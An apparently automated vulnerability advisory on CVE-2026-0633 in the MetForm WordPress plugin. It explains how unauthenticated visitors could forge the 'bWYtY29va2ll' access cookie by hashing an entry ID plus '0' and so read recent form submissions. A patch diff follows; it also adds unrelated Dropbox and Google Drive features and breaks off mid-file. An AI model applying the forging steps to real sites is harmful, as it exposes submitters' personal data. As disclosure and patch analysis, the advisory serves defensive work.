Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0633: MetForm – Contact Form, Survey, Quiz, & Custom Form Builder for Elementor <= 4.1.0 – Unauthenticated Form Submission Exposure via Forgeable Cookie Value (metform)

CVE ID CVE-2026-0633
Plugin metform
Severity Low (CVSS 3.7)
CWE 287
Vulnerable Version 4.1.0
Patched Version 4.1.1
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0633:
The MetForm WordPress plugin, versions up to and including 4.1.0, contains a sensitive information exposure vulnerability. The flaw allows unauthenticated attackers to access form submission data. The vulnerability stems from an insufficiently protected access control mechanism for viewing form entries via shortcodes. The CVSS score of 3.7 reflects a low attack complexity requirement.

In the vulnerable code, the function responsible for verifying access to form entry data used a forgeable cookie value. The cookie value, stored as `bWYtY29va2ll`, was generated by hashing a string composed only of the entry ID and the current user ID (`$this->entry_id.get_current_user_id()`). This hash was created using `password_hash()` in `/metform/core/entries/action.php` at line 867. The verification logic in `/metform/base/shortcode.php` at lines 257-260 simply checked if the submitted cookie value matched this hash via `password_verify()`. Since the entry ID is often predictable or discoverable and the user ID for an unauthenticated visitor is 0, an attacker could forge a valid token without any server-side secret.

An attacker exploits this by first identifying a recently submitted form entry ID. This ID could be enumerated or inferred. The attacker then constructs the token string as `{entry_id}0`, hashes it locally using the same algorithm (`password_hash()`), and sets the resulting value in a cookie named `bWYtY29va2ll`. When the attacker visits a page containing a MetForm shortcode designed to display entry data (e.g., `[metform_form_data]`), the plugin’s verification routine in `shortcode.php` will accept the forged cookie. This grants the attacker access to the associated form submission data for the lifetime of the server-side transient, which defaults to 15 minutes.

The patch addresses the root cause by replacing the deterministic token generation with a cryptographically secure random token. In `/metform/core/entries/action.php` at lines 867-882, the new code generates a random 32-character string using `wp_generate_password()`. It stores a SHA-256 hash of this token in a transient (`transient_mf_token_hash_{entry_id}`) and sets the raw token in the user’s cookie with secure attributes (HttpOnly, Secure, SameSite). The verification logic in `/metform/base/shortcode.php` at lines 257-272 is updated to retrieve the stored hash from the transient and compare it to a hash of the provided cookie value using `hash_equals()`, a timing-safe comparison function. This ensures the token cannot be predicted or forged without access to the server-side stored hash.

The successful exploitation of this vulnerability leads to the exposure of sensitive form submission data. Attackers can access all information submitted through a MetForm, which may include personal data (PII), contact details, survey responses, quiz answers, or custom form fields. This constitutes a breach of data confidentiality. The impact is limited to entries created within the transient’s Time-To-Live (TTL), defaulting to the last 15 minutes, which still represents a significant window for data leakage.

Differential between vulnerable and patched code

Code Diff 
--- a/metform/base/shortcode.php
+++ b/metform/base/shortcode.php
@@ -257,8 +257,20 @@
 		if(!isset($_COOKIE['bWYtY29va2ll'])) {
 			$status = false;
 		}
-		// token not matched return false
-		if((isset($_COOKIE['bWYtY29va2ll']) && !password_verify($token_str, sanitize_text_field(wp_unslash($_COOKIE['bWYtY29va2ll']))))) {
+		// Retrieve the stored token hash from transient
+		$stored_token_hash = get_transient('transient_mf_token_hash_'.$post_id);
+
+		// token not matched return false - use secure hash comparison
+		if(isset($_COOKIE['bWYtY29va2ll']) && !empty($stored_token_hash)) {
+			$provided_token = sanitize_text_field(wp_unslash($_COOKIE['bWYtY29va2ll']));
+			$provided_token_hash = hash('sha256', $provided_token);
+
+			// Use timing-safe comparison
+			if(!hash_equals($stored_token_hash, $provided_token_hash)) {
+				$status = false;
+			}
+		} elseif(isset($_COOKIE['bWYtY29va2ll'])) {
+			// Cookie exists but no stored hash - reject
 			$status = false;
 		}

--- a/metform/core/admin/base.php
+++ b/metform/core/admin/base.php
@@ -2,6 +2,8 @@
 namespace MetFormCoreAdmin;

 use MetFormCoreIntegrationsOnboardOnboard;
+use MetForm_ProBasePackage;
+use MetFormUtilsUtil;

 defined( 'ABSPATH' ) || exit;

@@ -126,7 +128,51 @@

                     $disabledAttr = empty($code)? '': 'disabled';
                 }
+                if (class_exists(Package::class) && class_exists('MetForm_ProCoreIntegrationsDropboxDropbox_Access_Token')  && (Util::is_mid_tier() || Util::is_top_tier())) {
+                    /**
+                     * Handle Dropbox disconnect request
+                     */
+                    if(!empty($_REQUEST['mf_dropbox_disconnect'])) {
+                        delete_option('mf_dropbox_access_token');
+                        delete_transient('mf_dropbox_token');
+
+                        ?>
+                        <script type="text/javascript">
+                            // redirect to general settings section
+                            location.href = '<?php echo esc_url(admin_url('admin.php?page=metform-menu-settings#mf-general_options')); ?>';
+                        </script>
+                        <?php
+                    }

+                    /**
+                     * Checks if the current request is from Dropbox OAuth callback
+                     *
+                     * Validates that the request contains a 'code' parameter (Dropbox authorization code),
+                     * does not have a 'state' parameter, does not have a 'scope' parameter set,
+                     * and the scope does not contain 'googleapis' (to distinguish from Google OAuth)
+                     *
+                     * @var bool $is_dropbox True if request appears to be from Dropbox OAuth flow, false otherwise
+                     */
+                    $is_dropbox = !empty($_REQUEST['code']) && empty($_REQUEST['state']) && (!isset($_REQUEST['scope']) || strpos($_REQUEST['scope'], 'googleapis') === false);
+                    if($is_dropbox ){
+                        $dropbox = new MetForm_ProCoreIntegrationsDropboxDropbox_Access_Token;
+                        $access_code = $dropbox->get_access_token();
+
+                        if(isset($access_code['body'])){
+                            // Save access token and set transient
+                            $expire_time = isset(json_decode($access_code['body'], true)['expires_in'] ) ? json_decode($access_code['body'], true)['expires_in'] : '';
+                            update_option( 'mf_dropbox_access_token', $access_code['body'] );
+                            set_transient( 'mf_dropbox_token', $access_code['body'] , $expire_time - 20 );
+
+                            ?>
+                            <script type="text/javascript">
+                                // redirect to general settings section
+                                location.href = '<?php echo esc_url(admin_url('admin.php?page=metform-menu-settings#mf-general_options')); ?>';
+                            </script>
+                            <?php
+                        }
+                    }
+                }
                 if( !empty($_REQUEST['code']) && empty($_REQUEST['state']) ) {
                     $google = new MetForm_ProCoreIntegrationsGoogle_SheetGoogle_Access_Token;
                     $access_code = $google->get_access_token();
--- a/metform/core/admin/views/settings.php
+++ b/metform/core/admin/views/settings.php
@@ -10,7 +10,7 @@
 use MetForm_ProCoreIntegrationsPaymentStripe;
 use MetForm_ProCoreIntegrationsGoogle_SheetWF_Google_Sheet;
 use MetForm_ProCoreIntegrationsGoogle_SheetGoogle_Access_Token;
-
+use MetForm_ProCoreIntegrationsDropboxDropbox_Access_Token;
 defined('ABSPATH') || exit;

 $settings = Base::instance()->get_settings_option();
@@ -142,8 +142,8 @@
 						<li>
 							<a href="#mf-google_sheet_integration" class="mf-setting-nav-link">
 								<div class="mf-setting-tab-content">
-									<span class="mf-setting-title"><span><?php echo esc_html__('Google Sheet Integration', 'metform'); ?></span></span>
-									<span class="mf-setting-subtitle"><?php echo esc_html__('All sheets info here', 'metform'); ?></span>
+									<span class="mf-setting-title"><span><?php echo esc_html__('Google Integration', 'metform'); ?></span></span>
+									<span class="mf-setting-subtitle"><?php echo esc_html__('Configure Google sheets & drive APIs', 'metform'); ?></span>
 								</div>
 								<div>
 									<span class="mf-setting-tab-icon"><?php Util::metform_content_renderer( $icons['google_sheet_integration'] ); ?></span>
@@ -535,6 +535,122 @@
 											</div>
 										</div>
 									</div>
+									<?php if (class_exists(Package::class) && class_exists('MetForm_ProCoreIntegrationsDropboxDropbox_Access_Token')  && (Util::is_mid_tier() || Util::is_top_tier())) : ?>
+										<div class="mf-dropbox-tab list-item">
+											<div class="tab-header">
+												<h4 class="list-item-header"><?php esc_attr_e('Dropbox Settings', 'metform') ?></h4>
+											</div>
+
+											<div class="attr-row">
+												<div class="attr-col-lg-12" style="padding: 0px;">
+													<div class="mf-dropbox-settings-wrapper">
+														<div class="attr-row">
+															<div class="attr-col-lg-6">
+																<div class="mf-setting-input-group">
+																	<label class="mf-setting-label"><?php esc_html_e('App ID:', 'metform'); ?>
+																	</label>
+																	<input type="text" name="mf_dropbox_app_id" value="<?php echo esc_attr((isset($settings['mf_dropbox_app_id'])) ? $settings['mf_dropbox_app_id'] : ''); ?>" class="mf-setting-input attr-form-control mf-dropbox-app-id" placeholder="<?php esc_html_e('Insert App ID', 'metform'); ?>">
+																	<p class="description">
+																		<?php esc_html_e('Create App ID from Dropbox developers panel. ', 'metform'); ?><a target="__blank" class="mf-setting-btn-link" href="<?php echo esc_url('https://www.dropbox.com/developers'); ?>"><?php esc_html_e('Create from here', 'metform'); ?></a>
+																	</p>
+																</div>
+															</div>
+															<div class="attr-col-lg-6">
+																<div class="mf-setting-input-group">
+																	<label class="mf-setting-label"><?php esc_html_e('App Secret:', 'metform'); ?>
+																	</label>
+																	<input type="text" name="mf_dropbox_app_secret" value="<?php echo esc_attr((isset($settings['mf_dropbox_app_secret'])) ? $settings['mf_dropbox_app_secret'] : ''); ?>" class="mf-setting-input attr-form-control mf-dropbox-secret-key" placeholder="<?php esc_html_e('Insert app secret', 'metform'); ?>">
+																	<p class="description">
+																		<?php esc_html_e('Create Dropbox App secret from Dropbox developers panel. ', 'metform'); ?><a target="__blank" class="mf-setting-btn-link" href="<?php echo esc_url('https://www.dropbox.com/developers'); ?>"><?php esc_html_e('Create from here', 'metform'); ?></a>
+																	</p>
+																</div>
+															</div>
+														</div>
+													</div>
+												</div>
+											</div>
+											<?php
+											$dropbox = new Dropbox_Access_Token();
+											$dropbox_connected = get_option('mf_dropbox_access_token');
+
+											if ($dropbox_connected) : ?>
+												<div style="display: flex; align-items: center; gap: 10px; margin-top: 20px;">
+													<a href="<?php echo esc_url(add_query_arg('mf_dropbox_disconnect', '1', admin_url('admin.php?page=metform-menu-settings'))); ?>" class="mf-admin-setting mf-admin-setting-dropbox" onclick="return confirm('<?php esc_attr_e('Are you sure you want to disconnect Dropbox?', 'metform'); ?>');">
+														<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 14 14" fill="none"><path d="M8.33333 1.06335C8.02867 1.02161 7.717 1 7.4 1C3.86538 1 1 3.68629 1 7C1 10.3137 3.86538 13 7.4 13C7.717 13 8.02867 12.9784 8.33333 12.9367" stroke="rgba(13, 20, 39, 1)" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path><path d="M11.3335 5.33333L13.0002 6.99999L11.3335 8.66666M6.3335 6.99999H12.5943" stroke="rgba(13, 20, 39, 1)" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path></svg> <?php esc_html_e('Disconnect Dropbox', 'metform'); ?>
+													</a>
+												</div>
+											<?php else : ?>
+												<ol class="xs_social_ol">
+													<li><span class="pointer">1</span><?php echo esc_html__('Check how to create App/Project On Dropbox developer account', 'metform') ?> - <a class="mf-setting-btn-link" href="https://wpmet.com/doc/dropbox-file-upload/" target="_blank">Documentation</a></li>
+													<li><span class="pointer">2</span><?php echo esc_html__('Must add the following URL to the "Valid OAuth redirect URIs" field:', 'metform') ?> <strong style="font-weight:500;"><?php echo esc_url(admin_url('admin.php?page=metform-menu-settings')) ?></strong></li>
+													<li><span class="pointer">3</span><?php echo esc_html__('After getting the App ID & App Secret, put those information', 'metform') ?></li>
+													<li><span class="pointer">4</span><?php echo esc_html__('Click on "Save Changes"', 'metform') ?></li>
+													<li><span class="pointer">5</span><?php echo esc_html__('Click on "Connect Your Dropbox Account"', 'metform') ?></li>
+												</ol>
+												<a class="mf-admin-setting mf-admin-setting-dropbox" href="<?php echo esc_url($dropbox->get_code()); ?>">
+													<svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 14 14" fill="none">
+													<path d="M7.08663 6.21467L7.21077 6.09053C8.39799 4.90326 10.3229 4.90326 11.5101 6.09053C12.6974 7.27775 12.6974 9.20267 11.5101 10.3899L9.79041 12.1096C8.60319 13.2969 6.67827 13.2969 5.49102 12.1096C4.30378 10.9224 4.30378 8.99747 5.49102 7.81025L5.76963 7.53167" stroke="rgba(13, 20, 39, 1)" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
+													<path d="M11.8312 6.46841L12.1097 6.18983C13.297 5.00257 13.297 3.07768 12.1097 1.89043C10.9225 0.70319 8.99759 0.70319 7.81037 1.89043L6.09065 3.61019C4.90338 4.79743 4.90338 6.72233 6.09065 7.90955C7.27787 9.09683 9.20279 9.09683 10.39 7.90955L10.5141 7.78541" stroke="rgba(13, 20, 39, 1)" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
+													<path d="M1.00049 4.60008L2.80049 5.20008M1.60049 7.90008L2.80049 7.00008M2.50049 2.20007L3.40049 3.40007" stroke="rgba(13, 20, 39, 1)" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
+												</svg>
+													<?php esc_attr_e('Connect Your Dropbox Account', 'metform'); ?>
+												</a>
+											<?php endif; ?>
+										</div>
+									<?php else :
+
+										$dropbox_alert_heading = esc_html__('Dropbox is a premium feature—Get MetForm Pro to use it!', 'metform');
+										$dropbox_alert_description = esc_html__('Get full access to premium features by upgrading today.', 'metform');
+
+										if (class_exists(Package::class) && (!Util::is_mid_tier() || !Util::is_top_tier())){
+											$dropbox_alert_heading = esc_html__('Dropbox Is Exclusive To Mid Tiers!', 'metform');
+											$dropbox_alert_description = esc_html__('Get access by upgrading to MetForm Professional Plan.', 'metform');
+										}
+									?>
+									<div class="mf-pro-missing-wrapper" id="mf-dropbox-tab">
+										<div class="mf-pro-missing">
+											<div class="dropbox-tab list-item">
+												<div class="tab-header">
+													<h4 class="list-item-header"><?php esc_html_e('Dropbox', 'metform') ?></h4>
+												</div>
+												<div class="mf-pro-alert">
+													<div class="pro-content">
+														<h5 class="alert-heading"><?php echo esc_html($dropbox_alert_heading); ?></h5>
+														<p class="alert-description"><?php echo esc_html($dropbox_alert_description); ?></p>
+													</div>
+													<div class="pro-btn">
+														<a href="https://wpmet.com/plugin/metform/pricing/" target="_blank"> <svg xmlns="http://www.w3.org/2000/svg" width="13" height="14" viewBox="0 0 13 14" fill="none">
+																<path d="M10.6 6.40002H2.2C1.53726 6.40002 1 6.93728 1 7.60002V11.8C1 12.4628 1.53726 13 2.2 13H10.6C11.2627 13 11.8 12.4628 11.8 11.8V7.60002C11.8 6.93728 11.2627 6.40002 10.6 6.40002Z" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" />
+																<path d="M3.40039 6.4V4C3.40039 3.20435 3.71646 2.44129 4.27907 1.87868C4.84168 1.31607 5.60474 1 6.40039 1C7.19604 1 7.9591 1.31607 8.52171 1.87868C9.08432 2.44129 9.40039 3.20435 9.40039 4V6" stroke="white" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" />
+															</svg> Upgrade </a>
+													</div>
+												</div>
+												<div class="attr-row">
+													<div class="attr-col-lg-6">
+														<?php
+														mf_dummy_simple_input('API:', 'Insert Dropbox API key', 'Create Dropbox APP ID from Dropbox developers panel');
+														?>
+													</div>
+													<div class="attr-col-lg-6">
+														<?php
+														mf_dummy_simple_input('API:', 'Insert Dropbox API key', 'Create Dropbox APP Secrate from Dropbox developers panel');
+														?>
+													</div>
+												</div>
+												<ol class="xs_social_ol">
+													<li><span class="pointer">1</span><?php echo esc_html__('Check how to create App/Project On Dropbox developer account', 'metform') ?> - <a class="mf-setting-btn-link" href="https://wpmet.com/doc/dropbox-file-upload/" target="_blank">Documentation</a></li>
+													<li><span class="pointer">2</span><?php echo esc_html__('Must add the following URL to the "Valid OAuth redirect URIs" field:', 'metform') ?> <strong style="font-weight:500;"><?php echo esc_url(admin_url('admin.php?page=metform-menu-settings')) ?></strong></li>
+													<li><span class="pointer">3</span><?php echo esc_html__('After getting the App ID & App Secret, put those information', 'metform') ?></li>
+													<li><span class="pointer">4</span><?php echo esc_html__('Click on "Save Changes"', 'metform') ?></li>
+													<li><span class="pointer">5</span><?php echo esc_html__('Click on "Connect your dropbox account"', 'metform') ?></li>
+												</ol>
+												<a class="mf-setting-btn-link achor-style round-btn disabled" href="#"> <svg xmlns="http://www.w3.org/2000/svg" width="16" height="13" fill="none">
+														<path d="M1 4.85V2.4A1.4 1.4 0 0 1 2.4 1h11.2c.773 0 1.4.628 1.4 1.401V10.8a1.4 1.4 0 0 1-1.4 1.401H2.4A1.4 1.4 0 0 1 1 10.8V8.35a1.75 1.75 0 0 0 0-3.5zM10.1 6.6h2.1M7.3 9.4h4.9" stroke="#0D1427" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" />
+													</svg> <?php esc_attr_e('Connect your dropbox account', 'metform'); ?></a>
+											</div>
+										</div>
+									</div>
+									<?php endif;?>

 									<?php if (class_exists(Package::class) && (Util::is_old_pro_user() || Util::is_mid_tier() || Util::is_top_tier() || Util::is_using_settings_option('mf_google_map_api_key'))) : ?>
 										<div class="map-tab list-item">
@@ -1033,12 +1149,12 @@
 							</div>
 						</div>
 						<!-- ./End Mail Integration Tab -->
-						<!-- google sheet Integration Tab -->
+						<!-- google Integration Tab -->
 						<form action="" method="post" class="mf-settings-form-common mf-google-sheet-tab-form" id="mf-google-sheet-form">
 							<div class="mf-settings-section" id="mf-google_sheet_integration">
 								<div class="mf-settings-single-section list-item">
 									<div class="tab-header">
-										<h4 class="list-item-header"><?php esc_html_e('Google Sheet Integration', 'metform'); ?></h4>
+										<h4 class="list-item-header"><?php esc_html_e('Google Sheets & Drive Integration', 'metform'); ?></h4>
 									</div>
 									<div class="attr-form-group-dt">
 										<div class="attr-tab-content" id="nav-tabContent">
@@ -1067,7 +1183,7 @@
 													</div>
 													<?php $google = new Google_Access_Token; ?>
 													<ol class="xs_social_ol">
-														<li><span class="pointer">1</span><?php echo esc_html__('Check how to create App/Project On Google developer account', 'metform') ?> - <a class="mf-setting-btn-link" href="https://help.wpmet.com/docs/google-sheet-integration" target="_blank">Documentation</a></li>
+														<li><span class="pointer">1</span><?php echo esc_html__('Check how to create App/Project On Google developer account', 'metform') ?> - <a class="mf-setting-btn-link" href="https://wpmet.com/doc/google-integrations/" target="_blank">Documentation</a></li>
 														<li><span class="pointer">2</span><?php echo esc_html__('Must add the following URL to the "Valid OAuth redirect URIs" field:', 'metform') ?> <strong style="font-weight:500;"><?php echo esc_url(admin_url('admin.php?page=metform-menu-settings')) ?></strong></li>
 														<li><span class="pointer">3</span><?php echo esc_html__('After getting the App ID & App Secret, put those information', 'metform') ?></li>
 														<li><span class="pointer">4</span><?php echo esc_html__('Click on "Save Changes"', 'metform') ?></li>
@@ -1085,7 +1201,7 @@
 													<div class="mf-pro-missing">
 														<div class="mf-pro-alert">
 															<div class="pro-content">
-																<h5 class="alert-heading"><?php esc_html_e('Upgrade to sync forms with Google Sheets!', 'metform') ?></h5>
+																<h5 class="alert-heading"><?php esc_html_e('Upgrade to sync forms with Google Sheets & Drive!', 'metform') ?></h5>
 																<p class="alert-description"><?php esc_html_e('Get access to premium features by upgrading today.', 'metform') ?></p>
 															</div>
 															<div class="pro-btn">
--- a/metform/core/entries/action.php
+++ b/metform/core/entries/action.php
@@ -740,7 +740,69 @@

             }
         }
+
+        // google drive
+        if(class_exists('MetForm_ProCoreIntegrationsGoogle_DriveMF_Google_Drive')) {
+            if(isset($this->form_settings['mf_google_drive']) && $this->form_settings['mf_google_drive'] == 1) {
+                $google_drive_folder_list_id = isset($this->form_settings['mf_google_drive_folder_list_id']) ?
+                    ["folder_id" => $this->form_settings['mf_google_drive_folder_list_id']] : null;
+
+                // Filter file_upload_info to only include mf-file-upload widget data
+                $filtered_file_upload_info = isset($this->file_upload_info['mf-file-upload']) ?
+                    ['mf-file-upload' => $this->file_upload_info['mf-file-upload']] : [];
+
+                if (!empty($filtered_file_upload_info) && !empty($google_drive_folder_list_id)) {
+                    $drive = MetForm_ProCoreIntegrationsGoogle_DriveMF_Google_Drive::instance()->insert_file(
+                        $this->form_id,
+                        $this->title,
+                        $this->form_data,
+                        $filtered_file_upload_info,
+                        $this->get_fields($this->form_id),
+                        $google_drive_folder_list_id
+                    );
+
+                    if ($drive === false) {
+                        $this->response->error[] = esc_html__('Google Drive upload failed: SSL certificate or OAuth credentials problem', 'metform');
+                        $this->response->status = 0;
+                        return $this->response;
+                    }
+                }
+            }
+        }

+        // dropbox file upload
+        if (class_exists('MetForm_ProCoreIntegrationsDropboxMF_Dropbox')) {
+            if (isset($this->form_settings['mf_dropbox']) && $this->form_settings['mf_dropbox'] == '1') {
+
+                $dropbox_folder_path = isset($this->form_settings['mf_dropbox_list_id']) ? $this->form_settings['mf_dropbox_list_id'] : '';
+
+                // Only process files from mf-file-upload widget
+                if (!empty($dropbox_folder_path) && isset($this->file_upload_info['mf-file-upload']) && is_array($this->file_upload_info['mf-file-upload'])) {
+                    $dropbox = MetForm_ProCoreIntegrationsDropboxMF_Dropbox::instance();
+
+                    // Process each uploaded file from mf-file-upload widget
+                    foreach ($this->file_upload_info['mf-file-upload'] as $file) {
+                        if (!is_array($file)) {
+                            continue;
+                        }
+
+                        // Check for 'file' key (actual structure) or 'file_path' key (legacy)
+                        $file_path = isset($file['file']) ? $file['file'] : (isset($file['file_path']) ? $file['file_path'] : '');
+
+                        if (!empty($file_path) && file_exists($file_path)) {
+                            // Use 'name' key from file array, fallback to basename
+                            $file_name = isset($file['name']) ? $file['name'] : basename($file_path);
+                            $upload_result = $dropbox->upload_file(
+                                $file_path,
+                                $dropbox_folder_path,
+                                $file_name
+                            );
+                        }
+                    }
+                }
+            }
+        }
+
         $form_settings = $this->form_settings;
         $form_id = $this->form_id;

@@ -803,10 +865,22 @@
         //## set stransient token for data access checking
         set_transient('transient_mf_form_data_entry_id_'.$this->entry_id, $this->entry_id, 15*60);

-        $mf_make_str_for_hashing = $this->entry_id.get_current_user_id();
-        $mf_hashed_str_for_access_check = password_hash($mf_make_str_for_hashing,PASSWORD_DEFAULT);
-        // setup cookie for current submission.
-        setcookie(base64_encode('mf-cookie'), $mf_hashed_str_for_access_check, time()+(60*15),'/');
+       // Generate a cryptographically secure random token
+        $mf_secure_token = wp_generate_password(32, false);
+        // Store the hashed token in a transient keyed by entry ID
+        $mf_token_hash = hash('sha256', $mf_secure_token);
+        set_transient('transient_mf_token_hash_'.$this->entry_id, $mf_token_hash, 15*60);
+
+        // Set the raw token as an HttpOnly, Secure, SameSite cookie
+        $cookie_options = array(
+            'expires' => time() + (60 * 15),
+            'path' => '/',
+            'domain' => '',
+            'secure' => is_ssl(),
+            'httponly' => true,
+            'samesite' => 'Strict'
+        );
+        setcookie(base64_encode('mf-cookie'), $mf_secure_token, $cookie_options);
     }

     private function update()
--- a/metform/core/entries/api.php
+++ b/metform/core/entries/api.php
@@ -198,7 +198,45 @@
         $response = $google->get_sheets_details_from_spreadsheet($sheetID);
         return $response ;
     }
-
+	public function get_dropbox_folder_list()
+    {
+        if(!current_user_can('manage_options')) {
+			return;
+		}

+        if (!class_exists('MetForm_ProCoreIntegrationsDropboxMF_Dropbox')) {
+
+            return 'Pro needed';
+        }
+
+        $dropbox = new MetForm_ProCoreIntegrationsDropboxMF_Dropbox;
+        $response = $dropbox->get_all_dropbox_folders();
+        return $response;
+    }
+
+    public function get_google_drive_folder_list()
+    {
+        $nonce = $this->request->get_header('X-WP-Nonce');
+
+        if(!current_user_can('manage_options')) {
+            return;
+        }
+
+        if(!wp_verify_nonce($nonce, 'wp_rest')) {
+            return [
+				'status'    => 'fail',
+				'message'   => [  __( 'Nonce mismatch.', 'metform' ) ],
+			];
+        }
+
+        if (!class_exists('MetForm_ProCoreIntegrationsGoogle_DriveMF_Google_Drive')) {
+            return 'Pro needed';
+        }
+        $google      = new MetForm_ProCoreIntegrationsGoogle_DriveMF_Google_Drive;
+        $response = $google->get_all_google_drive_folders();
+
+
+        return json_encode(value: ['folders' => $response]);
+    }

 }
--- a/metform/core/entries/file-data-validation.php
+++ b/metform/core/entries/file-data-validation.php
@@ -211,7 +211,10 @@
             ],
             '.stp'  => [
                 'mime' => 'text/plain; charset=us-ascii'
-            ]
+            ],
+            '.webp'  => [
+                'mime' => 'image/webp'
+            ],
         ];
         return $mimes;
     }
--- a/metform/core/entries/form-data.php
+++ b/metform/core/entries/form-data.php
@@ -59,6 +59,9 @@
                             continue;
                         }

+                        // Check if field has submitted data - if yes, show it regardless of conditional logic
+                        $has_submitted_data = isset($form_data[$key]) && $form_data[$key] !== '';
+
                         $conditions = isset($map_data[$key]["mf_conditional_logic_form_list"]) ? $map_data[$key]["mf_conditional_logic_form_list"] : [];
                         $no_of_condition = count($conditions);
                         $checking_result = array();
@@ -66,13 +69,16 @@

                         list($map_data, $form_data, $checking_result) = self::condition_criteria_match($map_data, $key, $conditions, $form_data, $checking_result);

-                        if ($no_of_condition > 1 && $condition_match_criteria == "or") {
-                            if (!in_array(true, $checking_result)) {
-                                continue;
-                            }
-                        } else {
-                            if (in_array(false, $checking_result)) {
-                                continue;
+                        // If field has submitted data, show it; otherwise check conditional logic
+                        if (!$has_submitted_data) {
+                            if ($no_of_condition > 1 && $condition_match_criteria == "or") {
+                                if (!in_array(true, $checking_result)) {
+                                    continue;
+                                }
+                            } else {
+                                if (in_array(false, $checking_result)) {
+                                    continue;
+                                }
                             }
                         }

@@ -314,6 +320,11 @@
                             continue;
                         }

+                        // Check if field has submitted data - if yes, show it regardless of conditional logic
+                        $has_submitted_data = isset($form_data[$key]) && $form_data[$key] !== '';
+
+
+
                         $conditions = isset($map_data[$key]["mf_conditional_logic_form_list"]) ? $map_data[$key]["mf_conditional_logic_form_list"] : [];
                         $no_of_condition = count($conditions);
                         $checking_result = array();
@@ -321,13 +332,16 @@

                         list($map_data, $form_data, $checking_result) = self::condition_criteria_match($map_data, $key, $conditions, $form_data, $checking_result);

-                         if ($no_of_condition > 1 && $condition_match_criteria == "or") {
-                            if (!in_array(true, $checking_result)) {
-                                continue;
-                            }
-                        } else {
-                            if (in_array(false, $checking_result)) {
-                                continue;
+                        // If field has submitted data, show it; otherwise check conditional logic
+                        if (!$has_submitted_data) {
+                            if ($no_of_condition > 1 && $condition_match_criteria == "or") {
+                                if (!in_array(true, $checking_result)) {
+                                    continue;
+                                }
+                            } else {
+                                if (in_array(false, $checking_result)) {
+                                    continue;
+                                }
                             }
                         }

--- a/metform/core/forms/cpt.php
+++ b/metform/core/forms/cpt.php
@@ -426,6 +426,26 @@
             'mf_google_sheet_client_secret' => [
                 'name' => 'mf_google_sheet_client_secret'
             ],
+            // dropbox
+            'mf_dropbox' => [
+                'name' => 'mf_dropbox'
+            ],
+            'mf_dropbox_list_id' => [
+                'name' => 'mf_dropbox_list_id'
+            ],
+            'mf_dropbox_app_id' => [
+                'name' => 'mf_dropbox_app_id'
+            ],
+            'mf_dropbox_app_secret' => [
+                'name' => 'mf_dropbox_app_secret'
+            ],
+            // google drive
+            'mf_google_drive' => [
+                'name' => 'mf_google_drive'
+            ],
+            'mf_google_drive_folder_list_id' => [
+                'name' => 'mf_google_drive_folder_list_id'
+            ],
             // email verification
             'email_verification_enable' => [
                 'name'  => 'email_verification_enable'
--- a/metform/core/forms/views/modal-editor.php
+++ b/metform/core/forms/views/modal-editor.php
@@ -541,7 +541,72 @@
                                     'badge' =>'Pro'
                                 ]);
                             endif; ?>
+
+                            <?php if (class_exists(MetForm_ProBasePackage::class) && class_exists('MetForm_ProCoreIntegrationsDropboxDropbox_Access_Token')  && (MetFormUtilsUtil::is_mid_tier() || MetFormUtilsUtil::is_top_tier())) : ?>
+                                <div class="mf-box-style">
+                                    <div class="mf-input-group">
+                                        <label class="attr-input-label">
+                                            <input type="checkbox" value="1" name="mf_dropbox" class="mf-admin-control-input mf-form-modal_input-dropbox">
+                                            <span><?php esc_html_e('Dropbox:', 'metform'); ?></span>
+                                        </label>
+                                        <span class='mf-input-help'><?php esc_html_e('Integrate dropbox with this form. ', 'metform'); ?><strong><a target="_blank" href="<?php echo esc_url(get_dashboard_url()) . 'admin.php?page=metform-menu-settings#mf-general_options'; ?>"><?php esc_html_e('Configure Dropbox.', 'metform'); ?></a></strong></span>
+                                    </div>

+                                    <div class="mf-input-group mf-dropbox-selection" style="margin-bottom: 4px;">
+                                        <label for="attr-input-label" class="attr-input-label"><?php esc_html_e('Folder List:', 'metform'); ?>
+                                            <span class="refresh-icon">
+                                                <svg xmlns="http://www.w3.org/2000/svg" width="14" height="13" fill="none" class="metfrom-btn-refresh-dropbox-folder-list">
+                                                    <?php MetFormUtilsUtil::metform_content_renderer( $refresh_icon_path); ?>
+                                                </svg>
+                                            </span>
+                                        </label>
+                                        <select class="attr-form-control mf-dropbox-folder-list">
+                                        </select>
+                                        <input type="hidden" name="mf_dropbox_list_id" class="mf-dropbox-folder-list-id attr-form-control" placeholder="<?php esc_html_e('Dropbox list title', 'metform'); ?>">
+                                    </div>
+                                </div>
+                            <?php else:
+                                mf_dummy_switch_input([
+                                    'label' => esc_html__('Dropbox:', 'metform'),
+                                    'help' => esc_html__('Integrate dropbox with this form.', 'metform'),
+                                    'badge' =>'Pro'
+                                ]);
+                            endif; ?>
+                            <?php if ( class_exists('MetForm_ProCoreIntegrationsGoogle_DriveMF_Google_Drive') ) : ?>
+                                <div class="mf-box-style">
+                                    <div class="mf-input-group">
+                                        <label class="attr-input-label">
+                                            <input type="checkbox" value="1" name="mf_google_drive" class="mf-admin-control-input mf-form-modal_input-google_drive">
+                                            <span><?php esc_html_e('Google Drive:', 'metform'); ?></span>
+                                        </label>
+                                        <span class='mf-input-help'><?php esc_html_e('Integrate google drive with this form. ', 'metform'); ?><strong><a target="_blank" href="<?php echo esc_url(get_dashboard_url()) . 'admin.php?page=metform-menu-settings#mf-google_sheet_integration'; ?>"><?php esc_html_e('Configure Google Drive.', 'metform'); ?></a></strong></span>
+                                    </div>
+
+                                    <div class="mf-google-drive-folder-selection-div">
+                                        <div class="mf-input-group mf-google-drive-folder-selection mf-form-top-spacing mf-form-bottom-spacing">
+                                            <label for="attr-input-label" class="attr-input-label">
+                                                <span><?php esc_html_e('Folder List:', 'metform'); ?></span>
